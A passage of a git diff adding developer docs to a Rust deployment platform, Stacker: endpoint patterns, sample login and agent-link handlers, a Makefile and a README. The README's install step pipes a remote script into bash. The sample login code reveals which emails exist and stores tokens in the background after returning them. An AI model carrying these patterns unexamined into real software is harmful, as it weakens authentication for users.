+pub async fn insert(pool: &PgPool, agent: models::Agent) -> Result +pub async fn fetch_by_id(pool: &PgPool, agent_id: Uuid) -> Result, String> +pub async fn fetch_by_deployment_hash(pool: &PgPool, hash: &str) -> Result, String> +pub async fn update_heartbeat(pool: &PgPool, agent_id: Uuid, status: &str) -> Result<(), String> +pub async fn update(pool: &PgPool, agent: models::Agent) -> Result +pub async fn log_audit(pool: &PgPool, audit_log: models::AuditLog) -> Result<(), String> +``` + +### Error Handling Pattern +- Return `Result` from db functions +- Map SQL errors to user-friendly strings +- Log errors with `tracing::error!` for debugging +- Handle `RowNotFound` separately for optional queries + +--- + +## 5. RESPONSE/ERROR HANDLING (src/helpers/json.rs) + +### JsonResponse Builder Pattern +```rust +#[derive(Serialize)] +pub struct JsonResponse { + pub message: String, + #[serde(skip_serializing_if = "Option::is_none")] + pub id: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub item: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub list: Option>, + #[serde(skip_serializing_if = "Option::is_none")] + pub meta: Option, +} + +pub struct JsonResponseBuilder { + message: String, + id: Option, + item: Option, + list: Option>, + meta: Option, +} +``` + +### Usage Examples +```rust +// Success with single item +Ok(JsonResponse::build() + .set_item(response_data) + .ok("Operation successful")) + +// Success with list +Ok(JsonResponse::build() + .set_list(vec![item1, item2]) + .ok("Items fetched")) + +// Error responses +Err(JsonResponse::::build() + .internal_server_error("Database connection failed")) + +Err(JsonResponse::::build() + .not_found("Deployment not found")) + +Err(JsonResponse::<()>::build() + .bad_request("Invalid deployment_hash")) + +// With ID +Ok(HttpResponse::Created().json( + JsonResponse::build() + .set_id(new_id) + .ok("Created successfully"))) + +// No content +JsonResponse::build().no_content() +``` + +### Error Methods +- `.ok(msg)` → 200 OK with Json wrapper +- `.created(msg)` → 201 Created +- `.no_content()` → 204 No Content +- `.bad_request(msg)` → 400 Bad Request (Error) +- `.not_found(msg)` → 404 Not Found (Error) +- `.forbidden(msg)` → 403 Forbidden (Error) +- `.conflict(msg)` → 409 Conflict (Error) +- `.internal_server_error(msg)` → 500 Internal Server Error (Error) + +### Generic Shortcuts +```rust +JsonResponse::::bad_request("Invalid input") +JsonResponse::::internal_server_error("DB error") +JsonResponse::::not_found("Resource not found") +JsonResponse::::forbidden("Access denied") +``` + +--- + +## 6. DEPLOYMENT MODEL + +### Deployment Table Structure +```rust +#[derive(Debug, Serialize, Deserialize, Clone)] +pub struct Deployment { + pub id: i32, // Primary key + pub project_id: i32, // Foreign key to projects + pub deployment_hash: String, // Unique identifier for agent + pub user_id: Option, // User who created (nullable) + pub deleted: Option, // Soft delete flag + pub status: String, // pending, active, failed, etc. + pub metadata: Value, // JSON arbitrary data + pub last_seen_at: Option>, // Last agent heartbeat + pub created_at: DateTime, + pub updated_at: DateTime, +} + +impl Deployment { + pub fn new( + project_id: i32, + user_id: Option, + deployment_hash: String, + status: String, + metadata: Value, + ) -> Self { ... } +} +``` + +### Typical Deployment Response +```rust +#[derive(Debug, Clone, Serialize, Default)] +pub struct DeploymentStatusResponse { + pub id: i32, + pub project_id: i32, + pub deployment_hash: String, + pub status: String, + #[serde(skip_serializing_if = "Option::is_none")] + pub status_message: Option, // From metadata + pub created_at: DateTime, + pub updated_at: DateTime, +} + +impl From for DeploymentStatusResponse { + fn from(d: models::Deployment) -> Self { + let status_message = d.metadata + .get("status_message") + .and_then(|v| v.as_str()) + .map(String::from); + + Self { ... } + } +} +``` + +--- + +## 7. AGENT MODEL + +### Agent Table Structure +```rust +#[derive(Debug, Clone, Serialize, Deserialize, sqlx::FromRow)] +pub struct Agent { + pub id: Uuid, + pub deployment_hash: String, + pub capabilities: Option, // ["docker", "logs", "compose"] + pub version: Option, // Agent version + pub system_info: Option, // OS, arch, etc. + pub last_heartbeat: Option>, + pub status: String, // "online" or "offline" + pub created_at: DateTime, + pub updated_at: DateTime, +} + +impl Agent { + pub fn new(deployment_hash: String) -> Self { + Self { + id: Uuid::new_v4(), + deployment_hash, + capabilities: Some(serde_json::json!([])), + version: None, + system_info: Some(serde_json::json!({})), + last_heartbeat: None, + status: "offline".to_string(), + created_at: Utc::now(), + updated_at: Utc::now(), + } + } + + pub fn is_online(&self) -> bool { + self.status == "online" + } + + pub fn mark_online(&mut self) { + self.status = "online".to_string(); + self.last_heartbeat = Some(Utc::now()); + self.updated_at = Utc::now(); + } + + pub fn mark_offline(&mut self) { + self.status = "offline".to_string(); + self.updated_at = Utc::now(); + } +} +``` + +### Audit Log Model +```rust +#[derive(Debug, Clone, Serialize, Deserialize, sqlx::FromRow)] +pub struct AuditLog { + pub id: Uuid, + pub agent_id: Option, + pub deployment_hash: Option, + pub action: String, + pub status: Option, + pub details: serde_json::Value, + pub ip_address: Option, + pub user_agent: Option, + pub created_at: DateTime, +} + +impl AuditLog { + pub fn new( + agent_id: Option, + deployment_hash: Option, + action: String, + status: Option, + ) -> Self { ... } + + pub fn with_details(mut self, details: Value) -> Self { + self.details = details; + self + } + + pub fn with_ip(mut self, ip: String) -> Self { + self.ip_address = Some(ip); + self + } + + pub fn with_user_agent(mut self, user_agent: String) -> Self { + self.user_agent = Some(user_agent); + self + } +} +``` + +--- + +## 8. VAULT CLIENT PATTERN (src/helpers/vault.rs) + +### Token Storage +```rust +pub struct VaultClient { + client: Client, + address: String, + token: String, + agent_path_prefix: String, // e.g., "agent" + api_prefix: String, // e.g., "v1" +} + +// Store: POST {address}/{api_prefix}/{agent_path_prefix}/{deployment_hash}/token +#[tracing::instrument(name = "Store agent token in Vault", skip(self, token))] +pub async fn store_agent_token( + &self, + deployment_hash: &str, + token: &str, +) -> Result<(), String> { + let path = format!("{}/{}/{}/token", base, prefix, deployment_hash); + let payload = json!({ + "data": { + "token": token, + "deployment_hash": deployment_hash + } + }); + + self.client + .post(&path) + .header("X-Vault-Token", &self.token) + .json(&payload) + .send() + .await? + .error_for_status()?; + + Ok(()) +} + +// Fetch: GET {address}/{api_prefix}/{agent_path_prefix}/{deployment_hash}/token +pub async fn fetch_agent_token(&self, deployment_hash: &str) -> Result { + let response = self.client + .get(&path) + .header("X-Vault-Token", &self.token) + .send() + .await?; + + // Extract token from response data + let data: serde_json::Value = response.json().await?; + let token = data + .get("data") + .and_then(|d| d.get("token")) + .and_then(|t| t.as_str()) + .ok_or("Token not found in Vault response")?; + + Ok(token.to_string()) +} +``` + +--- + +## 9. HANDLER PATTERNS & STRUCTURE + +### Complete Handler Example (src/routes/command/create.rs) + +```rust +#[derive(Debug, Deserialize)] +pub struct CreateCommandRequest { + pub deployment_hash: String, + pub command_type: String, + #[serde(default)] + pub priority: Option, + #[serde(default)] + pub parameters: Option, + #[serde(default)] + pub timeout_seconds: Option, + #[serde(default)] + pub metadata: Option, +} + +#[derive(Debug, Serialize, Default)] +pub struct CreateCommandResponse { + pub command_id: String, + pub deployment_hash: String, + pub status: String, +} + +#[tracing::instrument(name = "Create command", skip(pg_pool, user, settings))] +#[post("")] +pub async fn create_handler( + user: web::ReqData>, // Authenticated user + req: web::Json, // Request body + pg_pool: web::Data, // Database pool + settings: web::Data, // App config +) -> Result { + // 1. Validate input + if req.deployment_hash.trim().is_empty() { + return Err(JsonResponse::<()>::build() + .bad_request("deployment_hash is required")); + } + + // 2. Validate business logic + let validated_parameters = + status_panel::validate_command_parameters(&req.command_type, &req.parameters) + .map_err(|err| JsonResponse::<()>::build().bad_request(err))?; + + // 3. Query database + let deployment = crate::db::deployment::fetch_by_deployment_hash( + pg_pool.get_ref(), + &req.deployment_hash, + ) + .await + .map_err(|err| JsonResponse::::build() + .internal_server_error(err))?; + + // 4. Create entity + let mut command = Command::new( + user.id.clone(), + req.deployment_hash.clone(), + req.command_type.clone(), + ); + + command.parameters = Some(validated_parameters); + if let Some(timeout) = req.timeout_seconds { + command.timeout_seconds = Some(timeout); + } + + // 5. Save to database + let saved_command = crate::db::command::insert(pg_pool.get_ref(), command) + .await + .map_err(|err| JsonResponse::::build() + .internal_server_error(err))?; + + // 6. Return response + Ok(JsonResponse::build() + .set_item(CreateCommandResponse { + command_id: saved_command.id.to_string(), + deployment_hash: saved_command.deployment_hash, + status: saved_command.status, + }) + .ok("Command created successfully")) +} +``` + +### Handler Pattern Checklist +✓ Use `#[tracing::instrument]` for observability +✓ Use `#[post]`/`#[get]` macros for routing +✓ Extract authenticated user with `web::ReqData>` +✓ Extract body with `web::Json` +✓ Validate input (required fields, format, constraints) +✓ Query database with `.await` + `.map_err()` for error handling +✓ Use `tracing::info!`/`warn!`/`error!` for logging +✓ Return `Result` +✓ Wrap response with `JsonResponse::build().set_item(...).ok(...)` +✓ Return errors with `JsonResponse::build().error_type(...)` + +--- + +## 10. IMPLEMENTATION GUIDE FOR NEW ENDPOINTS + +### Endpoint: POST /api/v1/auth/login + +```rust +// File: src/routes/auth/mod.rs +pub mod login; +pub use login::*; + +// File: src/routes/auth/login.rs +use actix_web::{post, web, HttpResponse, Result, Responder}; +use serde::{Deserialize, Serialize}; +use sqlx::PgPool; + +#[derive(Debug, Deserialize)] +pub struct LoginRequest { + pub email: String, + pub password: String, +} + +#[derive(Debug, Serialize)] +pub struct LoginResponse { + pub session_token: String, // 86-char random token + pub user: UserInfo, + pub deployments: Vec, +} + +#[derive(Debug, Serialize)] +pub struct UserInfo { + pub id: String, + pub email: String, + pub first_name: String, + pub last_name: String, + pub role: String, +} + +#[derive(Debug, Serialize)] +pub struct DeploymentInfo { + pub id: i32, + pub project_id: i32, + pub deployment_hash: String, + pub status: String, + pub created_at: chrono::DateTime, +} + +#[tracing::instrument(name = "User login", skip(req, pool))] +#[post("/login")] +pub async fn login_handler( + req: web::Json, + pool: web::Data, + vault_client: web::Data, +) -> Result { + // 1. Validate input + if req.email.trim().is_empty() { + return Err(crate::helpers::JsonResponse::::build() + .bad_request("email is required")); + } + if req.password.trim().is_empty() { + return Err(crate::helpers::JsonResponse::::build() + .bad_request("password is required")); + } + + // 2. Query user by email (requires user table in stacker DB) + let user = db::user::fetch_by_email(pool.get_ref(), &req.email) + .await + .map_err(|err| crate::helpers::JsonResponse::::build() + .internal_server_error(err))?; + + let user = match user { + Some(u) => u, + None => { + tracing::warn!("Login attempt with non-existent email: {}", req.email); + return Err(crate::helpers::JsonResponse::::build() + .not_found("Invalid credentials")); + } + }; + + // 3. Verify password (bcrypt or argon2) + if !verify_password(&req.password, &user.password_hash)? { + tracing::warn!("Failed login attempt for: {}", req.email); + return Err(crate::helpers::JsonResponse::::build() + .forbidden("Invalid credentials")); + } + + // 4. Generate session token (86-char random) + let session_token = generate_session_token(); + + // 5. Store session token in Vault asynchronously + let vault = vault_client.clone(); + let user_id = user.id.clone(); + let token = session_token.clone(); + actix_web::rt::spawn(async move { + for retry in 0..3 { + if vault.store_session_token(&user_id, &token).await.is_ok() { + tracing::info!("Session token stored in Vault for user {}", user_id); + break; + } + tokio::time::sleep(tokio::time::Duration::from_secs(2_u64.pow(retry))).await; + } + }); + + // 6. Fetch user deployments + let deployments = db::deployment::fetch_by_user(pool.get_ref(), &user.id, 100) + .await + .unwrap_or_default() + .into_iter() + .map(|d| DeploymentInfo { + id: d.id, + project_id: d.project_id, + deployment_hash: d.deployment_hash, + status: d.status, + created_at: d.created_at, + }) + .collect(); + + // 7. Log audit event + let audit_log = models::AuditLog::new( + None, + None, + "user.login".to_string(), + Some("success".to_string()), + ) + .with_details(serde_json::json!({ + "user_id": user.id, + "email": user.email, + })); + + let _ = db::audit::log(pool.get_ref(), audit_log).await; + + // 8. Return response + Ok(HttpResponse::Ok().json( + crate::helpers::JsonResponse::build() + .set_item(LoginResponse { + session_token, + user: UserInfo { + id: user.id, + email: user.email, + first_name: user.first_name, + last_name: user.last_name, + role: user.role, + }, + deployments, + }) + .to_json_response() + )) +} + +fn generate_session_token() -> String { + use rand::Rng; + const CHARSET: &[u8] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"; + let mut rng = rand::thread_rng(); + (0..86).map(|_| { + let idx = rng.gen_range(0..CHARSET.len()); + CHARSET[idx] as char + }).collect() +} + +fn verify_password(password: &str, hash: &str) -> Result { + // Use bcrypt or argon2 + bcrypt::verify(password, hash) + .map_err(|e| format!("Password verification failed: {}", e)) +} +``` + +### Endpoint: POST /api/v1/agents/link + +```rust +// File: src/routes/agent/link.rs +use actix_web::{post, web, HttpResponse, Result, Responder}; +use serde::{Deserialize, Serialize}; +use sqlx::PgPool; +use std::sync::Arc; + +#[derive(Debug, Deserialize)] +pub struct LinkAgentRequest { + pub session_token: String, // From login + pub deployment_id: i32, // Target deployment + pub fingerprint: String, // Agent fingerprint +} + +#[derive(Debug, Serialize)] +pub struct LinkAgentResponse { + pub agent_id: String, + pub deployment_id: i32, + pub credentials: AgentCredentials, +} + +#[derive(Debug, Serialize)] +pub struct AgentCredentials { + pub token: String, // Agent auth token + pub deployment_hash: String, + pub server_url: String, +} + +#[tracing::instrument(name = "Link agent to deployment", skip(pool, vault_client))] +#[post("/link")] +pub async fn link_handler( + req: web::Json, + pool: web::Data, + vault_client: web::Data, + settings: web::Data, +) -> Result { + // 1. Validate input + if req.session_token.trim().is_empty() { + return Err(crate::helpers::JsonResponse::::build() + .bad_request("session_token is required")); + } + + // 2. Fetch session from Vault by session token + let user_id = vault_client + .fetch_session_user_id(&req.session_token) + .await + .map_err(|err| { + tracing::warn!("Invalid or expired session token"); + crate::helpers::JsonResponse::::build() + .forbidden("Invalid or expired session") + })?; + + // 3. Fetch deployment and verify user owns it + let deployment = db::deployment::fetch(pool.get_ref(), req.deployment_id) + .await + .map_err(|err| crate::helpers::JsonResponse::::build() + .internal_server_error(err))?; + + let deployment = match deployment { + Some(d) => d, + None => { + return Err(crate::helpers::JsonResponse::::build() + .not_found("Deployment not found")); + } + }; + + // Verify user owns this deployment + if deployment.user_id.as_deref() != Some(&user_id) { + tracing::warn!("Unauthorized link attempt by user {} for deployment {}", + user_id, req.deployment_id); + return Err(crate::helpers::JsonResponse::::build() + .forbidden("You do not own this deployment")); + } + + // 4. Check if agent already linked + let existing_agent = db::agent::fetch_by_deployment_hash( + pool.get_ref(), + &deployment.deployment_hash, + ) + .await + .map_err(|err| crate::helpers::JsonResponse::::build() + .internal_server_error(err))?; + + let (agent_id, agent_token) = if let Some(agent) = existing_agent { + // Reuse existing agent + let token = vault_client + .fetch_agent_token(&deployment.deployment_hash) + .await + .map_err(|_| crate::helpers::JsonResponse::::build() + .internal_server_error("Failed to fetch agent token"))?; + + (agent.id.to_string(), token) + } else { + // Create new agent + let mut agent = models::Agent::new(deployment.deployment_hash.clone()); + agent.system_info = Some(serde_json::json!({ + "linked_at": chrono::Utc::now(), + "fingerprint": req.fingerprint, + })); + + let saved_agent = db::agent::insert(pool.get_ref(), agent) + .await + .map_err(|err| crate::helpers::JsonResponse::::build() + .internal_server_error(err))?; + + let token = generate_agent_token(); + + // Store token in Vault + let vault = vault_client.clone(); + let hash = deployment.deployment_hash.clone(); + let token_copy = token.clone(); + actix_web::rt::spawn(async move { + for retry in 0..3 { + if vault.store_agent_token(&hash, &token_copy).await.is_ok() { + break; + } + tokio::time::sleep(tokio::time::Duration::from_secs(2_u64.pow(retry))).await; + } + }); + + (saved_agent.id.to_string(), token) + }; + + // 5. Log audit event + let audit_log = models::AuditLog::new( + None, + Some(deployment.deployment_hash.clone()), + "agent.linked".to_string(), + Some("success".to_string()), + ) + .with_details(serde_json::json!({ + "user_id": user_id, + "deployment_id": req.deployment_id, + "agent_id": agent_id, + "fingerprint": req.fingerprint, + })); + + let _ = db::agent::log_audit(pool.get_ref(), audit_log).await; + + // 6. Return credentials + Ok(HttpResponse::Ok().json( + crate::helpers::JsonResponse::build() + .set_item(LinkAgentResponse { + agent_id, + deployment_id: req.deployment_id, + credentials: AgentCredentials { + token: agent_token, + deployment_hash: deployment.deployment_hash, + server_url: settings.server.base_url.clone(), + }, + }) + .to_json_response() + )) +} + +fn generate_agent_token() -> String { + use rand::Rng; + const CHARSET: &[u8] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"; + let mut rng = rand::thread_rng(); + (0..86).map(|_| { + let idx = rng.gen_range(0..CHARSET.len()); + CHARSET[idx] as char + }).collect() +} +``` + +### Register Routes in startup.rs + +```rust +.service( + web::scope("/api/v1/auth") + .service(routes::auth::login_handler), +) +.service( + web::scope("/api/v1/agents") + .service(routes::agent::link_handler), +) +``` + +--- + +## 11. CONFIGURATION & DEPENDENCY INJECTION + +### Available Injected Data (from startup.rs) +```rust +web::Data // App configuration +web::Data> // API database +web::Data // Agent database +web::Data // RabbitMQ +web::Data // Vault (token storage) +web::Data // HTTP client (OAuth, etc.) +web::Data // OAuth token cache +web::Data> // MCP tools +web::Data> // Health checks +web::Data> // Metrics +web::Data> // User service connector +web::Data> // Install service +web::Data> // CORS config +Arc // Authenticated user (from extensions) +``` + +### Tracing/Logging +```rust +// Fields are automatically captured from function parameters +#[tracing::instrument(name = "Handler name", skip(pool, vault_client))] +#[post("/endpoint")] +pub async fn handler( + user: web::ReqData>, + pool: web::Data, + vault_client: web::Data, // Skip from logs +) -> Result { + tracing::info!("User action starting"); + tracing::warn!("Warning message"); + tracing::error!("Error occurred: {:?}", err); + tracing::debug!("Debug details"); +} +``` + +--- + +## 12. KEY PATTERNS SUMMARY + +### Error Handling +- DB functions return `Result` +- Handlers return `Result` +- All errors wrapped in `JsonResponse::build().error_type(msg)` +- Errors logged with `tracing::error!` + +### Authentication +- User injected via `web::ReqData>` +- Authenticated users have `user.id` and `user.role` +- Ownership checks: `if d.user_id.as_deref() != Some(&user.id) {}` + +### Database +- Use `sqlx::query_as!` for type-safe queries +- Handle `RowNotFound` separately from other errors +- Use `.instrument(query_span)` for tracing + +### Async Operations +- Token storage uses `actix_web::rt::spawn` for fire-and-forget async +- Retry logic with exponential backoff for Vault operations +- Error logging but don't fail the request if async fails + +### Responses +- Always use `JsonResponse::build().set_item(...).ok(msg)` for success +- Use appropriate error methods: `.bad_request()`, `.not_found()`, etc. +- Empty responses use `.no_content()` +- Created resources use `.created(msg)` + diff --git a/stacker/stacker/Makefile b/stacker/stacker/Makefile new file mode 100644 index 0000000..b99ff96 --- /dev/null +++ b/stacker/stacker/Makefile @@ -0,0 +1,26 @@ +build: + @cargo build + +clean: + @cargo clean + +TESTS = "" +test: + @cargo test $(TESTS) --offline --lib -- --color=always --test-threads=1 --nocapture + +docs: build + @cargo doc --no-deps + +style-check: + @rustup component add rustfmt 2> /dev/null + cargo fmt --all -- --check + +lint: + @rustup component add clippy 2> /dev/null + touch src/** + cargo clippy --all-targets --all-features -- -D warnings + +dev: + @cargo run + +.PHONY: build test docs style-check lint diff --git a/stacker/stacker/QUICK_REFERENCE.md b/stacker/stacker/QUICK_REFERENCE.md new file mode 100644 index 0000000..aeff9ba --- /dev/null +++ b/stacker/stacker/QUICK_REFERENCE.md @@ -0,0 +1,283 @@ +# Quick Reference: Adding Two New Endpoints + +## Summary of Stacker Patterns + +### 1. ROUTE STRUCTURE +- Routes defined in `src/routes/` with subdirectories by domain +- Each route has `#[post]`, `#[get]` macros + `#[tracing::instrument]` +- Registered in `src/startup.rs` using `web::scope()` pattern +- **For your endpoints**: Create `src/routes/auth/login.rs` and extend `src/routes/agent/link.rs` + +### 2. AUTHENTICATION/USER EXTRACTION +```rust +// User is auto-extracted from JWT/OAuth/Cookie/Agent tokens +#[post("/endpoint")] +pub async fn handler( + user: web::ReqData>, // Middleware injects this +) -> Result { + let user_id = &user.id; // User from auth headers +} +``` + +- Session tokens = 86-char random string (generated + stored in Vault) +- User stored in `Arc` with id, email, role, first_name, last_name +- Verify ownership: `if d.user_id.as_deref() != Some(&user_id) { forbidden }` + +### 3. DATABASE QUERIES +```rust +// Pattern: All DB functions return Result +let deployment = db::deployment::fetch(pool.get_ref(), id) + .await + .map_err(|err| JsonResponse::build().internal_server_error(err))?; + +// Fetch user deployments +let deployments = db::deployment::fetch_by_user(pool.get_ref(), &user_id, 100) + .await + .unwrap_or_default(); +``` + +**Available queries:** +- `fetch_by_user(pool, user_id, limit)` → Vec +- `fetch_by_user_and_project(pool, user_id, project_id, limit)` → Vec +- `fetch_by_deployment_hash(pool, hash)` → Option +- Agent: `fetch_by_deployment_hash(pool, hash)` → Option + +### 4. RESPONSE HANDLING +```rust +// Success +Ok(JsonResponse::build() + .set_item(response_data) + .ok("Message")) + +// Error +Err(JsonResponse::build().bad_request("msg")) +Err(JsonResponse::build().not_found("msg")) +Err(JsonResponse::build().forbidden("msg")) +Err(JsonResponse::build().internal_server_error("msg")) +``` + +**Response wrapper format:** +```json +{ + "message": "Operation successful", + "item": { /* response data */ } +} +``` + +### 5. VAULT CLIENT (Token Storage) +```rust +// Store token (86-char random) +vault_client.store_agent_token(&deployment_hash, &token).await?; + +// With async retry (3x on exponential backoff) +let vault = vault_client.clone(); +let hash = deployment_hash.clone(); +let token_copy = token.clone(); +actix_web::rt::spawn(async move { + for retry in 0..3 { + if vault.store_agent_token(&hash, &token_copy).await.is_ok() { + break; + } + tokio::time::sleep(tokio::time::Duration::from_secs(2_u64.pow(retry))).await; + } +}); +``` + +### 6. AUDIT LOGGING +```rust +let audit_log = models::AuditLog::new( + Some(agent_id), + Some(deployment_hash.clone()), + "agent.registered".to_string(), + Some("success".to_string()), +) +.with_details(serde_json::json!({ + "key": value, +})) +.with_ip(req.peer_addr().map(|a| a.ip().to_string()).unwrap_or_default()); + +db::agent::log_audit(pool.get_ref(), audit_log).await; +``` + +### 7. KEY MIDDLEWARE STACK +``` +CORS → Tracing → Authorization (Casbin) → Authentication (JWT/OAuth/Cookie/Agent/HMAC) → Compression +``` + +Auth tries these in order: Agent → JWT → OAuth → Cookie → HMAC → Anonymous + +### 8. DEPENDENCY INJECTION (Available in Handlers) +```rust +web::Data> // API database +web::Data // Agent database +web::Data // App config +web::Data // Vault for tokens +web::Data> // External user service +Arc // Authenticated user +``` + +--- + +## Implementation Checklist for POST /api/v1/auth/login + +- [ ] Create `src/routes/auth/mod.rs` with `pub mod login` + `pub use login::*` +- [ ] Create `src/routes/auth/login.rs` with handler +- [ ] Define `LoginRequest` struct (email, password) +- [ ] Define `LoginResponse` struct (session_token, user info, deployments list) +- [ ] Add to `src/routes/mod.rs`: `pub(crate) mod auth` +- [ ] Add to `src/startup.rs`: register scope `/api/v1/auth` +- [ ] DB: Need user table with columns: id, email, password_hash, first_name, last_name, role +- [ ] DB: Add function `db::user::fetch_by_email(pool, email)` → Result, String> +- [ ] Generate 86-char session token (use generate_agent_token pattern) +- [ ] Store session token in Vault at `sessions/{user_id}/token` +- [ ] Query: `db::deployment::fetch_by_user(pool, user_id, 100)` +- [ ] Validate email + password +- [ ] Log audit: "user.login" action +- [ ] Return with user info + deployments list +- [ ] Error: 400 for missing fields, 404 for non-existent user, 403 for wrong password, 500 for DB + +--- + +## Implementation Checklist for POST /api/v1/agents/link + +- [ ] Add to `src/routes/agent/link.rs` handler +- [ ] Add to `src/routes/agent/mod.rs`: `pub use link::*` +- [ ] Add to `src/startup.rs`: register handler in `/api/v1/agents` scope +- [ ] Define `LinkAgentRequest` (session_token, deployment_id, fingerprint) +- [ ] Define `LinkAgentResponse` (agent_id, deployment_id, credentials) +- [ ] Fetch session user_id from Vault using session_token +- [ ] Fetch deployment by deployment_id +- [ ] Verify user owns deployment: `if d.user_id.as_deref() != Some(&user_id) { forbidden }` +- [ ] Check if agent exists by deployment_hash +- [ ] If exists: fetch token from Vault, return existing agent +- [ ] If new: create agent, generate token, store in Vault (async with retry) +- [ ] Log audit: "agent.linked" action +- [ ] Return agent_id + credentials (token, deployment_hash, server_url) +- [ ] Error: 400 for missing fields, 403 for session invalid/expired, 404 for deployment not found, 403 for ownership + +--- + +## Database Models Needed + +### User (if not exists) +```sql +CREATE TABLE users ( + id UUID PRIMARY KEY DEFAULT gen_random_uuid(), + email TEXT UNIQUE NOT NULL, + password_hash TEXT NOT NULL, + first_name TEXT NOT NULL, + last_name TEXT NOT NULL, + role TEXT NOT NULL DEFAULT 'user', + email_confirmed BOOLEAN DEFAULT false, + created_at TIMESTAMPTZ DEFAULT NOW(), + updated_at TIMESTAMPTZ DEFAULT NOW() +); + +-- DB function to add +pub async fn fetch_by_email(pool: &PgPool, email: &str) -> Result, String> +``` + +### Session Vault Keys (in Vault) +``` +POST /v1/sessions/{user_id}/token → Store: {"data": {"token": "...", "user_id": "..."}} +GET /v1/sessions/{user_id}/token → Retrieve token + validate not expired +DELETE /v1/sessions/{user_id}/token → Logout +``` + +--- + +## File Changes Summary + +### New Files +- `src/routes/auth/mod.rs` - Auth route module +- `src/routes/auth/login.rs` - Login handler +- `src/db/user.rs` - User DB queries + +### Modified Files +- `src/routes/mod.rs` - Add `pub(crate) mod auth` +- `src/routes/agent/mod.rs` - Add `pub use link::*` and link.rs +- `src/startup.rs` - Register `/api/v1/auth` and `/api/v1/agents` scopes +- `src/models/mod.rs` - Add user model if not exists + +--- + +## Error Response Format + +All errors use this structure: +```json +{ + "message": "descriptive error message" +} +``` + +HTTP Status Codes: +- 200 OK - Success +- 201 Created - New resource +- 204 No Content - Success with no data +- 400 Bad Request - Invalid input +- 403 Forbidden - No permission / Invalid credentials +- 404 Not Found - Resource doesn't exist +- 409 Conflict - Resource already exists +- 500 Internal Server Error - Database/Vault error + +--- + +## Testing Your Endpoints + +### Login +```bash +POST /api/v1/auth/login +{ + "email": "user@example.com", + "password": "password123" +} + +Response (200): +{ + "message": "Login successful", + "item": { + "session_token": "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_", + "user": { + "id": "user-uuid", + "email": "user@example.com", + "first_name": "John", + "last_name": "Doe", + "role": "user" + }, + "deployments": [ + { + "id": 1, + "project_id": 100, + "deployment_hash": "abc123...", + "status": "active", + "created_at": "2024-01-15T10:30:00Z" + } + ] + } +} +``` + +### Link Agent +```bash +POST /api/v1/agents/link +{ + "session_token": "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_", + "deployment_id": 1, + "fingerprint": "agent-fingerprint-hash" +} + +Response (200): +{ + "message": "Agent linked successfully", + "item": { + "agent_id": "agent-uuid", + "deployment_id": 1, + "credentials": { + "token": "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_", + "deployment_hash": "abc123...", + "server_url": "https://stacker.example.com" + } + } +} +``` + diff --git a/stacker/stacker/README.md b/stacker/stacker/README.md new file mode 100644 index 0000000..3ff2d87 --- /dev/null +++ b/stacker/stacker/README.md @@ -0,0 +1,505 @@ +
+ +Discord +Version +License + +

+ + +**Build, deploy, and manage containerised applications with a single config file.** + +
+ +Stacker is a platform for turning any project into a deployable Docker stack. Add a `stacker.yml` to your repo, and Stacker generates Dockerfiles, docker-compose definitions, reverse-proxy configs, and deploys locally or to cloud providers — optionally with AI assistance. + +**v0.2.8 highlights:** remote Vault-backed secrets now work for deployable +service/app targets from `stacker.yml` and supported Compose services, paused or +failed cloud/server installs retain discovered IP addresses, cloud-provider +firewalls can be managed without SSH, and MCP now exposes remote service secret +tools. + + +## Quick Start + +### Install the CLI + +```bash +curl -fsSL https://raw.githubusercontent.com/trydirect/stacker/main/install.sh | bash +``` + +### Create & deploy a project + +```bash +cd my-project +stacker init # auto-detects project type, generates stacker.yml +stacker deploy # builds and runs locally via docker compose +stacker status # check running containers +``` + +### AI-powered init (optional) + +Stacker can scan your project files and use an LLM to generate a tailored `stacker.yml`: + +```bash +# Local AI with Ollama (free, private, default) +stacker init --with-ai + +# OpenAI +stacker init --with-ai --ai-provider openai --ai-api-key sk-... + +# Anthropic (key from env) +export ANTHROPIC_API_KEY=sk-ant-... +stacker init --with-ai --ai-provider anthropic +``` + +If the AI provider is unreachable, Stacker falls back to template-based generation automatically. + +When the project looks like a simple HTML or Next.js website and the configured +Ollama model is `qwen2.5-code` or `qwen2.5-coder`, `stacker init --with-ai` +can also bootstrap a website deployment scenario. The bootstrap seeds values +from the generated `stacker.yml`, asks only for the missing deploy inputs, and +saves scenario state under `.stacker/scenarios/qwen2.5-code/website-deploy/` +for later continuation with `stacker ai`. + +### AI deployment workflows + +For the canonical AI/MCP deployment flow — inspect state, explain topology or +env provenance, preview a plan, apply it safely, and recover with events or +rollback — see [AI deployment workflows](docs/AI_DEPLOYMENT_WORKFLOWS.md). + +For the qwen-specific website scenario flow, including `--scenario` and `--step` +continuation, see the same guide. + +--- + +## `stacker.yml` example + +```yaml +name: my-app +app: + type: node + path: ./src + ports: + - "8080:3000" + environment: + NODE_ENV: production + +services: + - name: postgres + image: postgres:16 + environment: + POSTGRES_DB: myapp + POSTGRES_PASSWORD: ${DB_PASSWORD} + +proxy: + type: nginx + auto_detect: true + domains: + - domain: app.example.com + ssl: auto + upstream: app:3000 + +deploy: + target: local # or: cloud, server + +ai: + enabled: true + provider: ollama + model: llama3 + +monitoring: + status_panel: true + healthcheck: + endpoint: /health + interval: 30s +``` + +Full schema reference: [docs/STACKER_YML_REFERENCE.md](docs/STACKER_YML_REFERENCE.md) + +--- + + +### Three components + +| Component | What it does | Binary | +|-----------|-------------|--------| +| **Stacker CLI** | Developer tool — init, deploy, monitor from the terminal | `stacker-cli` | +| **Stacker Server** | REST API + Stack Builder UI + deployment orchestration + MCP Server | `server` | +| **Status Panel Agent** | Deployed alongside your app on the target server — executes commands, streams logs, reports health | *(separate repo)* | + +``` +┌──────────────┐ ┌──────────────────┐ ┌─────────────────────┐ +│ Stacker CLI │────────►│ Stacker Server │────────►│ Status Panel Agent │ +│ │ REST │ │ queue │ (on target server) │ +│ stacker.yml │ API │ Stack Builder UI│ pull │ │ +│ init/deploy 